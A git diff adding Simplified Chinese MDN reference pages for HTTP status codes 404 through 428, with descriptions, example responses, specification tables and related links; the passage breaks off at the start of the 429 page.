+<div>{{HTTPSidebar}}</div> + +<p>状态码 <code><strong>404</strong></code><strong><code> Not Found</code></strong> 代表客户端错误,指的是服务器端无法找到所请求的资源。返回该响应的链接通常称为坏链(broken link)或死链(dead link),它们会导向链接出错处理(<a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a>)页面。</p> + +<p>404 状态码并不能说明请求的资源是临时还是永久丢失。如果服务器知道该资源是永久丢失,那么应该返回 {{HTTPStatus(410)}} (Gone) 而不是 404 。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox notranslate">404 Not Found</pre> + +<h2 id="自定义错误页面">自定义错误页面</h2> + +<p>许多网站会将 404 页面的外观进行定制,使其对用户更友好,以及提供一些引导。例如,Apache 服务器可以在 <code>.htaccess</code> 文件中进行配置,代码片段如下:</p> + +<pre class="brush: bash notranslate">ErrorDocument 404 /notfound.html</pre> + +<p>你可以访问一下 <a href="https://developer.mozilla.org/en-US/404">MDN 的 404 页面</a>获取一些启发。</p> + +<div class="note"> +<p>自定义的404页面应该是对用户友好且可读性高的,不能使用户产生困惑。</p> +</div> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.404")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPStatus(410)}}</li> + <li> + <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p> + </li> + <li> + <p><a href="https://www.exai.com/blog/404-http-error">404 error</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/status/405/index.html b/files/zh-cn/web/http/status/405/index.html new file mode 100644 index 0000000000..89e31eb2e4 --- /dev/null +++ b/files/zh-cn/web/http/status/405/index.html @@ -0,0 +1,34 @@ +--- +title: 405 Method Not Allowed +slug: Web/HTTP/Status/405 +translation_of: Web/HTTP/Status/405 +--- +<div>{{HTTPSidebar}}</div> + +<p>状态码 <code><font face="Open Sans, Arial, sans-serif"><strong>405 Method Not Allowed</strong></font></code> 表明服务器禁止了使用当前 HTTP 方法的请求。</p> + +<h2 id="状态码">状态码</h2> + +<pre class="syntaxbox notranslate">405 Method Not Allowed</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> +<li><a href="https://www.exai.com/blog/http-405-error">405 Method Not Allowed</a></li> +</ul> diff --git a/files/zh-cn/web/http/status/406/index.html b/files/zh-cn/web/http/status/406/index.html new file mode 100644 index 0000000000..327ea3210c --- /dev/null +++ b/files/zh-cn/web/http/status/406/index.html @@ -0,0 +1,45 @@ +--- +title: 406 Not Acceptable +slug: Web/HTTP/Status/406 +translation_of: Web/HTTP/Status/406 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP 协议中的 <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> 状态码表示客户端错误,指代服务器端无法提供与 {{HTTPHeader("Accept-Charset")}} 以及 {{HTTPHeader("Accept-Language")}} 消息头指定的值相匹配的响应。</p> + +<p>在实际应用中,这个错误状态码极少使用:不是给用户返回一个晦涩难懂(且难以更正)的错误状态码,而是将相关的消息头忽略,同时给用户提供一个看得见摸得着的页面。这种做法基于这样一个假设:即便是不能达到用户十分满意,也强于返回错误状态码。</p> + +<p>如果服务器返回了这个错误状态码,那么消息体中应该包含所能提供的资源表现形式的列表,允许用户手动进行选择。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">406 Not Acceptable</pre> + +<h2 id="相关协议">相关协议</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}</td> + <td>超文本传输协议 (HTTP/1.1): 语法和内容</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.406")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Accept-Charset")}}</li> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">内容协商</a></li> +</ul> diff --git a/files/zh-cn/web/http/status/407/index.html b/files/zh-cn/web/http/status/407/index.html new file mode 100644 index 0000000000..f319aa2351 --- /dev/null +++ b/files/zh-cn/web/http/status/407/index.html @@ -0,0 +1,59 @@ +--- +title: 407 Proxy Authentication Required +slug: Web/HTTP/Status/407 +tags: + - 代理服务器 + - 响应状态码 + - 客户端错误 + - 状态码 + - 身份验证 + - 验证凭证 +translation_of: Web/HTTP/Status/407 +--- +<div>{{HTTPSidebar}}</div> + +<p>状态码 <strong><code>407 Proxy Authentication Required </code></strong> 代表客户端错误,指的是由于缺乏位于浏览器与可以访问所请求资源的服务器之间的代理服务器({{Glossary("proxy server")}} )要求的身份验证凭证,发送的请求尚未得到满足。</p> + +<p>这个状态码会与 {{HTTPHeader("Proxy-Authenticate")}} 首部一起发送,其中包含有如何进行验证的信息。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">407 Proxy Authentication Required </pre> + +<h2 id="响应示例">响应示例</h2> + +<pre>HTTP/1.1 407 Proxy Authentication Required +Date: Wed, 21 Oct 2015 07:28:00 GMT +Proxy-Authenticate: Basic realm="Access to internal site"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.407")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/408/index.html b/files/zh-cn/web/http/status/408/index.html new file mode 100644 index 0000000000..a3ee29c59c --- /dev/null +++ b/files/zh-cn/web/http/status/408/index.html @@ -0,0 +1,41 @@ +--- +title: 408 Request Timeout +slug: Web/HTTP/Status/408 +tags: + - 响应状态码 + - 客户端错误 +translation_of: Web/HTTP/Status/408 +--- +<div>{{HTTPSidebar}}</div> + +<p>响应状态码 <code><strong>408</strong></code><strong><code> Request Timeout</code></strong> 表示服务器想要将没有在使用的连接关闭。一些服务器会在空闲连接上发送此信息,<strong>即便是在客户端没有发送任何请求的情况下</strong>。</p> + +<p>服务器应该在此类响应中将 {{HTTPHeader("Connection")}} 首部的值设置为 "close",因为 <code>408</code> 意味着服务器已经决定将连接关闭,而不是继续等待。 </p> + +<p>这类响应出现的比较频繁,源于一些浏览器——例如 Chrome, Firefox 27+, 或者 IE9 等——使用 HTTP 协议中的预连接机制来加速上网体验。同时应该注意到,某些服务器会直接关闭连接,而不发送此类消息。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">408 Request Timeout</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/409/index.html b/files/zh-cn/web/http/status/409/index.html new file mode 100644 index 0000000000..c5464957c4 --- /dev/null +++ b/files/zh-cn/web/http/status/409/index.html @@ -0,0 +1,39 @@ +--- +title: 409 Conflict +slug: Web/HTTP/Status/409 +tags: + - 响应 + - 客户端错误 + - 状态码 +translation_of: Web/HTTP/Status/409 +--- +<div>{{HTTPSidebar}}</div> + +<p>响应状态码 <code><strong>409 Conflict</strong></code> 表示请求与服务器端目标资源的当前状态相冲突。</p> + +<p>冲突最有可能发生在对 {{HTTPMethod("PUT")}} 请求的响应中。例如,当上传文件的版本比服务器上已存在的要旧,从而导致版本冲突的时候,那么就有可能收到状态码为 409 的响应。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">409 Conflict</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPMethod("PUT")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/410/index.html b/files/zh-cn/web/http/status/410/index.html new file mode 100644 index 0000000000..0aba3d1a00 --- /dev/null +++ b/files/zh-cn/web/http/status/410/index.html @@ -0,0 +1,45 @@ +--- +title: 410 Gone +slug: Web/HTTP/Status/410 +translation_of: Web/HTTP/Status/410 +--- +<div>{{HTTPSidebar}}</div> + +<div>HTTP <code><strong>410</strong></code><strong><code> 丢失</code></strong> 说明请求的目标资源在原服务器上不存在了,并且是永久性的丢失。如果不清楚是否为永久或临时的丢失,应该使用{{HTTPStatus(404)}} </div> + +<div></div> + +<div class="note"> +<p>410 响应默认会被缓存</p> +</div> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox notranslate">410 Gone</pre> + +<h2 id="标准">标准</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">标准</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "410 Gone" , "6.5.9")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/status", "410")}}</p> + +<h2 id="更多可见">更多可见</h2> + +<ul> + <li>{{HTTPStatus(404)}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/411/index.html b/files/zh-cn/web/http/status/411/index.html new file mode 100644 index 0000000000..10319c5b55 --- /dev/null +++ b/files/zh-cn/web/http/status/411/index.html @@ -0,0 +1,40 @@ +--- +title: 411 Length Required +slug: Web/HTTP/Status/411 +tags: + - 分块传输 + - 客户端错误 + - 状态码 +translation_of: Web/HTTP/Status/411 +--- +<div>{{HTTPSidebar}}</div> + +<p>响应状态码 <code><strong>411</strong></code><strong><code> Length Required</code></strong> 属于客户端错误,表示由于缺少确定的{{HTTPHeader("Content-Length")}} 首部字段,服务器拒绝客户端的请求。</p> + +<p>注意,按照规范,当使用分块模式传输数据的时候, <code>Content-Length</code> 首部是不存在的,但是需要在每一个分块的开始添加该分块的长度,用十六进制数字表示。参见 {{HTTPHeader("Transfer-Encoding")}} 获取更多细节信息。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">411 Length Required</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Content-Length")}}</li> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/412/index.html b/files/zh-cn/web/http/status/412/index.html new file mode 100644 index 0000000000..c06e8824e9 --- /dev/null +++ b/files/zh-cn/web/http/status/412/index.html @@ -0,0 +1,47 @@ +--- +title: 412 Precondition Failed +slug: Web/HTTP/Status/412 +tags: + - Error + - HTTP + - 参考 + - 状态码 +translation_of: Web/HTTP/Status/412 +--- +<div>{{HTTPSidebar}}</div> + +<p>在 HTTP 协议中,响应状态码 <strong>412 Precondition Failed</strong>(先决条件失败)表示客户端错误,意味着对于目标资源的访问请求被拒绝。这通常发生于采用除 {{HTTPMethod("GET")}} 和 {{HTTPMethod("HEAD")}} 之外的方法进行条件请求时,由首部字段 {{HTTPHeader("If-Unmodified-Since")}} 或 {{HTTPHeader("If-None-Match")}} 规定的先决条件不成立的情况下。这时候,请求的操作——通常是上传或修改文件——无法执行,从而返回该错误状态码。</p> + +<h2 id="状态码">状态码</h2> + +<pre class="syntaxbox">412 Precondition Failed</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "412 Precondition Failed" , "4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.412")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPStatus("304")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("428")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/413/index.html b/files/zh-cn/web/http/status/413/index.html new file mode 100644 index 0000000000..232072d309 --- /dev/null +++ b/files/zh-cn/web/http/status/413/index.html @@ -0,0 +1,36 @@ +--- +title: 413 Payload Too Large +slug: Web/HTTP/Status/413 +translation_of: Web/HTTP/Status/413 +--- +<div>{{HTTPSidebar}}</div> + +<p>响应状态码 <code><strong>413 Payload Too Large</strong></code> 表示请求主体的大小超过了服务器愿意或有能力处理的限度,服务器可能会(may)关闭连接以防止客户端继续发送该请求。</p> + +<p>如果“超出限度”是暂时性的,服务器应该返回 {{HTTPHeader("Retry-After")}} 首部字段,说明这是暂时性的,以及客户端可以在什么时间(after what time)后重试。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">413 Payload Too Large</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "413 Payload Too Large" , "6.5.11")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/414/index.html b/files/zh-cn/web/http/status/414/index.html new file mode 100644 index 0000000000..a2dcb0a180 --- /dev/null +++ b/files/zh-cn/web/http/status/414/index.html @@ -0,0 +1,44 @@ +--- +title: 414 URI Too Long +slug: Web/HTTP/Status/414 +tags: + - 响应状态码 + - 客户端错误 +translation_of: Web/HTTP/Status/414 +--- +<div>{{HTTPSidebar}}</div> + +<p>响应码 <code><strong>414 URI Too Long</strong></code> 表示客户端所请求的 URI 超过了服务器允许的范围。</p> + +<p>以下是造成这种罕见情况的几种可能原因:</p> + +<ul> + <li>当客户端误将 {{HTTPMethod("POST")}} 请求当作 {{HTTPMethod("GET")}} 请求时,会带有一个较长的查询字符串(query);</li> + <li>当客户端堕入重定向循环黑洞时,例如,指向自身后缀的重定向URI前缀(a redirected URI prefix that points to a suffix of itself);</li> + <li>当客户端对服务器进行攻击,试图寻找潜在的漏洞时。</li> +</ul> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">414 URI Too Long</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "414 URI Too Long" , "6.5.12")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{Glossary("URI")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/415/index.html b/files/zh-cn/web/http/status/415/index.html new file mode 100644 index 0000000000..0066926101 --- /dev/null +++ b/files/zh-cn/web/http/status/415/index.html @@ -0,0 +1,42 @@ +--- +title: 415 Unsupported Media Type +slug: Web/HTTP/Status/415 +tags: + - 响应状态码 + - 响应码 + - 客户端错误 + - 状态码 +translation_of: Web/HTTP/Status/415 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>415 Unsupported Media Type</strong></code> 是一种HTTP协议的错误状态代码,表示服务器由于不支持其有效载荷的格式,从而拒绝接受客户端的请求。</p> + +<p>格式问题的出现有可能源于客户端在 {{HTTPHeader("Content-Type")}} 或 {{HTTPHeader("Content-Encoding")}} 首部中指定的格式,也可能源于直接对负载数据进行检测的结果。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">415 Unsupported Media Type</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Content-Encoding")}}</li> + <li>{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/416/index.html b/files/zh-cn/web/http/status/416/index.html new file mode 100644 index 0000000000..42235de925 --- /dev/null +++ b/files/zh-cn/web/http/status/416/index.html @@ -0,0 +1,45 @@ +--- +title: 416 Range Not Satisfiable +slug: Web/HTTP/Status/416 +translation_of: Web/HTTP/Status/416 +--- +<div>{{HTTPSidebar}}</div> + +<p> HTTP <code><strong>416</strong></code><strong><code> Range Not Satisfiable</code></strong> 错误状态码意味着服务器无法处理所请求的数据区间。最常见的情况是所请求的数据区间不在文件范围之内,也就是说,{{HTTPHeader("Range")}} 首部的值,虽然从语法上来说是没问题的,但是从语义上来说却没有意义。</p> + +<p><code>416</code> 响应报文包含一个 {{HTTPHeader("Content-Range")}} 首部,提示无法满足的数据区间(用星号 * 表示),后面紧跟着一个“/”,再后面是当前资源的长度。例如:Content-Range: */12777</p> + +<p>遇到这一错误状态码时,浏览器一般有两种策略:要么终止操作(例如,一项中断的下载操作被认为是不可恢复的),要么再次请求整个文件。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">416 Range Not Satisfiable</pre> + +<h2 id="协议">协议</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7233", "416 Request Not Satisfiable" , "4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.416")}}</p> + +<h2 id="更多内容">更多内容</h2> + +<ul> + <li>{{HTTPStatus(206)}} <code>Partial Content</code></li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/417/index.html b/files/zh-cn/web/http/status/417/index.html new file mode 100644 index 0000000000..772c67f928 --- /dev/null +++ b/files/zh-cn/web/http/status/417/index.html @@ -0,0 +1,35 @@ +--- +title: 417 Expectation Failed +slug: Web/HTTP/Status/417 +translation_of: Web/HTTP/Status/417 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议中的 <strong><code>417 Expectation Failed</code></strong> 状态码表示客户端错误,意味着服务器无法满足 {{HTTPHeader("Expect")}} 请求消息头中的期望条件。</p> + +<p>参考 {{HTTPHeader("Expect")}} 消息头获得更多的相关细节信息。</p> + +<h2 id="状态码">状态码</h2> + +<pre class="syntaxbox">417 Expectation Failed</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Expect")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/418/index.html b/files/zh-cn/web/http/status/418/index.html new file mode 100644 index 0000000000..994814c903 --- /dev/null +++ b/files/zh-cn/web/http/status/418/index.html @@ -0,0 +1,45 @@ +--- +title: 418 I'm a teapot +slug: Web/HTTP/Status/418 +translation_of: Web/HTTP/Status/418 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>418 I'm a teapot</code></strong> 客户端错误响应代码表示服务器拒绝冲泡咖啡,因为它是个茶壶。</p> + +<p>该错误是超文本咖啡壶控制协议的参考,和 1998 年愚人节的玩笑。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">418 I'm a teapot</pre> + +<h2 id="说明书">说明书</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">详述</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td> + <td>超文本咖啡壶控制协议(HTCPCP/1.0):语义和内容</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">此页面中的兼容性表格由结构化数据生成。如果您想为数据做出贡献,请查看<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> https://github.com/mdn/browser-compat-data并向我们发送请求</p> + +<p>{{Compat("http.status.418")}}</p> + +<h2 id="请参考">请参考</h2> + +<ul> + <li> + <article> + <p>{{interwiki("wikipedia", "Hyper Text Coffee Pot Control Protocol", "Wikipedia: Hyper Text Coffee Pot Control Protocol")}}</p> + </article> + </li> +</ul> diff --git a/files/zh-cn/web/http/status/422/index.html b/files/zh-cn/web/http/status/422/index.html new file mode 100644 index 0000000000..cdb8335a08 --- /dev/null +++ b/files/zh-cn/web/http/status/422/index.html @@ -0,0 +1,33 @@ +--- +title: 422 Unprocessable Entity +slug: Web/HTTP/Status/422 +translation_of: Web/HTTP/Status/422 +--- +<p>{{HTTPSidebar}}</p> + +<p>HTTP 422 状态码表示服务器理解请求实体的内容类型,并且请求实体的语法是正确的,但是服务器无法处理所包含的指令。</p> + +<div class="warning"> +<p><strong>重要提示</strong>:客户端不应在不修改的情况下重复发送此请求。</p> +</div> + +<h2 id="状态码">状态码</h2> + +<pre class="syntaxbox">422 Unprocessable Entity</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td> + <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td> + </tr> + </tbody> +</table> diff --git a/files/zh-cn/web/http/status/425/index.html b/files/zh-cn/web/http/status/425/index.html new file mode 100644 index 0000000000..dc684cb0a8 --- /dev/null +++ b/files/zh-cn/web/http/status/425/index.html @@ -0,0 +1,38 @@ +--- +title: 425 Too Early +slug: Web/HTTP/Status/425 +tags: + - HTTP + - 客户端错误 + - 浏览器 + - 状态码 +translation_of: Web/HTTP/Status/425 +--- +<div>状态码 <code><strong>425 Too Early</strong></code> 代表服务器不愿意冒风险来处理该请求,原因是处理该请求可能会被“重放”,从而造成潜在的<a href="https://zh.wikipedia.org/zh-cn/%E9%87%8D%E6%94%BE%E6%94%BB%E5%87%BB">重放攻击</a>。</div> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">425 Too Early</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("8470", "425: Early Data", "5.2")}}</td> + <td>Using Early Data in HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.425")}}</p> diff --git a/files/zh-cn/web/http/status/426/index.html b/files/zh-cn/web/http/status/426/index.html new file mode 100644 index 0000000000..369c831211 --- /dev/null +++ b/files/zh-cn/web/http/status/426/index.html @@ -0,0 +1,49 @@ +--- +title: 426 Upgrade Required +slug: Web/HTTP/Status/426 +tags: + - 响应状态码 + - 客户端错误 +translation_of: Web/HTTP/Status/426 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>426 Upgrade Required</strong></code> 是一种HTTP协议的错误状态代码,表示服务器拒绝处理客户端使用当前协议发送的请求,但是可以接受其使用升级后的协议发送的请求。</p> + +<p>服务器会在响应中使用 {{HTTPHeader("Upgrade")}} 首部来指定要求的协议。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">426 Upgrade Required</pre> + +<h2 id="示例">示例</h2> + +<pre>HTTP/1.1 426 Upgrade Required +Upgrade: HTTP/3.0 +Connection: Upgrade +Content-Length: 53 +Content-Type: text/plain + +This service requires use of the HTTP/3.0 protocol</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Upgrade")}}</li> + <li>{{HTTPStatus("101")}} <code>Switching Protocol</code></li> +</ul> diff --git a/files/zh-cn/web/http/status/428/index.html b/files/zh-cn/web/http/status/428/index.html new file mode 100644 index 0000000000..bd8beb5674 --- /dev/null +++ b/files/zh-cn/web/http/status/428/index.html @@ -0,0 +1,43 @@ +--- +title: 428 Precondition Required +slug: Web/HTTP/Status/428 +tags: + - HTTP + - 客户端错误 + - 状态码 +translation_of: Web/HTTP/Status/428 +--- +<div>{{HTTPSidebar}}</div> + +<p>在HTTP协议中,响应状态码 <code><strong>428 Precondition Required</strong></code> 表示服务器端要求发送<a href="/en-US/docs/Web/HTTP/Conditional_requests">条件</a>请求。</p> + +<p>一般的,这种情况意味着必要的条件首部——如 {{HTTPHeader("If-Match")}} ——的<strong>缺失。</strong>.</p> + +<p>当一个条件首部的值<strong>不能匹配</strong>服务器端的状态的时候,应答的状态码应该是 {{HTTPStatus(412)}} <code>Precondition Failed</code>,前置条件验证失败。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">428 Precondition Required</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("6585", "428 Precondition Required" , "3")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Conditional_requests">HTTP conditional requests</a></li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPStatus(412)}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/429/index.html b/files/zh-cn/web/http/status/429/index.html new file mode 100644 index 0000000000..75af3a69f3 --- /dev/null +++ b/files/zh-cn/web/http/status/429/index.html @@ -0,0 +1,45 @@ +--- +title: 429 Too Many Requests +slug: Web/HTTP/Status/429 +tags: + - HTTP协议 + - 客户端错误 + - 状态码 +translation_of: Web/HTTP/Status/429 +--- +<div>{{HTTPSidebar}}</div> + +<p>在HTTP协议中,响应状态码 